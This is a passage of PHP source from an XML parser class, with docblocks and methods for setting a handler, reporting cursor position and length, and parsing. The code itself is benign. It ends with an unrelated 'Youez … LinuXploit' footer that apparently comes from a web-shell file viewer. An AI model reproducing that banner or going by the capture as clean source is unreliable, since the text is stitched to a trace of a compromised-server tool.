	 * The handler method must accept two arguments; the parser and
	 * body of the JASP tag
	 * <pre>
	 * function myJaspHander(& $parser, $data){}
	 * </pre>
	 * @param string name of method
	 * @access public
	 * @return void
	 * @see set_object
	 */
	function set_jasp_handler ($jasp_method) {
		$this->state_parser->handler_object_jasp =& $this->state_parser->handler_default;
		$this->state_parser->handler_method_jasp = $jasp_method;
	}

	/**
	 * Returns the current string position of the "cursor" inside the XML
	 * document
	 * <br />Intended for use from within a user defined handler called
	 * via the $parser reference e.g.
	 * <pre>
	 * function myDataHandler(& $parser,$data) {
	 *     echo( 'Current position: '.$parser->get_current_position() );
	 * }
	 * </pre>
	 * @access public
	 * @return int
	 * @see get_length
	 */
	function get_current_position() {
		return $this->state_parser->position;
	}

	/**
	 * Returns the string length of the XML document being parsed
	 * @access public
	 * @return int
	 */
	function get_length() {
		return $this->state_parser->length;
	}

	/**
	 * Start parsing some XML
	 * @param string XML document
	 * @access public
	 * @return void
	 */
	function parse($data) {
		$this->state_parser->parse($data);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit